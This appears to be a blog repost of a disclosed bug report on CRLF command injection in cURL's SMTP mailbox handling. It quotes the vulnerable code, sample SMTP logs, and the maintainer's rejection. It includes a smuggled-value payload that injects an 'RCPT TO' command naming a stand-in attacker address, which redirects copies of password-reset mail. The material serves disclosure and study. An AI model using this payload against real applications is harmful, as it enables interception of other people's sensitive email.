cURL SMTP CRLF命令注入漏洞分析

本文详细分析了cURL库中SMTP实现存在的CRLF命令注入漏洞,攻击者可通过在邮箱地址中插入控制字符注入任意SMTP命令,添加未授权收件人并绕过应用层邮件控制。

SMTP CRLF命令注入漏洞报告

漏洞概述

libcurl的SMTP实现在处理邮箱地址输入时,未验证回车符(\r)和换行符(\n)等控制字符。这些控制字符被直接插入到SMTP命令中,使得攻击者能够注入任意SMTP协议命令。这可能导致信封操纵、添加未授权收件人,并可能绕过应用级邮件控制。

复现步骤

环境配置

  • 目标:curl/libcurl源代码(https://github.com/curl/curl)
  • 测试版本:
    • curl 8.17.0(最新正式版本)✅ 存在漏洞
    • curl 8.12.0-DEV(commit 58023ba52273b05deb36ec1d395df18ba29b3bde)✅ 存在漏洞

前置条件

  1. 从源代码构建curl(commit 58023ba52273b05deb36ec1d395df18ba29b3bde)
  2. 下载附带的验证脚本:poc_smtp_crlf_injection.sh

操作步骤

  1. 使脚本可执行:
1
chmod +x poc_smtp_crlf_injection.sh
  1. 使用curl二进制文件路径运行验证脚本:
1
./poc_smtp_crlf_injection.sh /path/to/curl/src/curl

脚本将执行以下操作:

  • 启动记录所有接收命令的SMTP服务器
  • 使用CRLF注入的邮箱地址执行curl
  • 显示清晰的前后对比
  • 高亮显示注入的命令

预期行为与实际行为

预期行为: curl应拒绝包含控制字符的邮箱地址,并返回类似"邮箱地址中包含无效字符"或"不允许使用控制字符"的错误,类似于其在HTTP头中拒绝空字节的方式。

实际行为: curl接受CRLF字符并将其作为SMTP命令的一部分发送,导致协议级命令注入:

1
2
3
> MAIL FROM:<sender@company.com
> RCPT TO:<attacker@evil.com> SIZE=...    ← 注入的命令
> RCPT TO:<victim@company.com>            ← 合法收件人

MAIL FROM命令被分成两个独立行,其中"RCPT TO:attacker@evil.com"作为单独的SMTP命令被注入。现在邮件将同时发送给合法收件人和攻击者地址。

漏洞证据

验证脚本输出示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
══════════════════════════════════════════════════════════════════
漏洞确认
══════════════════════════════════════════════════════════════════

✗ 存在漏洞:CRLF注入成功!

curl发送的SMTP命令:
──────────────────────────────────────────────────────────────────
> EHLO smtp_test_body.txt
> MAIL FROM:<sender@company.com
> RCPT TO:<attacker@evil.com> SIZE=59    ← 注入!
> RCPT TO:<victim@company.com>
> DATA

结果:邮件发送给两个收件人:
  ✓ victim@company.com(合法)
  ✓ attacker@evil.com(注入)

代码分析

漏洞位置: lib/smtp.c,第838-846行

1
2
3
4
5
6
7
8
result = Curl_pp_sendf(data, &smtpc->pp,
                       "MAIL FROM:%s%s%s%s%s%s",
                       from,                 /* 必需 - 无验证 */
                       auth ? " AUTH=" : "",
                       auth ? auth : "",
                       size ? " SIZE=" : "",
                       size ? size : "",
                       utf8 ? " SMTPUTF8" : "");

地址解析函数: lib/smtp.c,第1875-1921行(smtp_parse_address)

  • 执行基本解析(去除<>,查找@)
  • 未验证控制字符(CR、LF、NUL)
  • 字符串直接传递给命令构造

对比验证

这并非设计意图的证据:curl已在类似上下文中拒绝控制字符。来自lib/cookie.c,第436-446行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static bool invalid_octets(const char *ptr) {
  const unsigned char *p = (const unsigned char *)ptr;
  /* 拒绝所有字节 \x01 - \x1f(除\x09,TAB外)+ \x7f */
  while(*p) {
    if(((*p != 9) && (*p < 0x20)) || (*p == 0x7f))
      return TRUE;
    p++;
  }
  return FALSE;
}

此函数明确拒绝cookie值中的CR(0x0D)和LF(0x0A)。相同的验证应应用于SMTP邮箱地址,但此处缺失。

影响分析

控制邮箱地址输入的攻击者可以通过添加CRLF字符注入SMTP命令。这使得他们可以在应用程序不知情的情况下向电子邮件添加额外收件人。

真实攻击场景: Web应用程序使用curl发送密码重置邮件。攻击者在平台上注册用户名victim\r\nRCPT TO:<attacker@evil.com>。当应用程序构建邮箱地址并将其传递给curl时,curl注入了额外的收件人命令。攻击者收到了本应发送给受害者的密码重置链接的副本。

重要性:

  • 许多应用程序从用户名+域构建邮箱地址,而不检查控制字符
  • 应用程序期望库处理协议级验证(如curl对cookie和HTTP头所做的那样)
  • 攻击者可以窃取敏感邮件:密码重置、验证码、机密报告
  • 该漏洞影响所有使用CURLOPT_MAIL_FROM、CURLOPT_MAIL_RCPT或CURLOPT_MAIL_AUTH且包含任何用户输入的应用程序

时间线

  • 8天前:bau1u向curl提交报告
  • 8天前:bagder(curl工作人员)发表评论:“curl假设用户按照他们希望发送的方式将数据放入选项中。除了用户自己,没有人可以在那里注入数据。”
  • 8天前:bagder关闭报告并将状态更改为"重复"
  • 8天前:bagder请求披露此报告
  • 4天前:bagder披露此报告

报告详情

  • 报告ID:#3414088
  • 状态:重复
  • 严重性:中等(4 ~ 6.9)
  • 披露时间:2025年11月10日 10:39 UTC
  • 弱点类型:CRLF注入
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计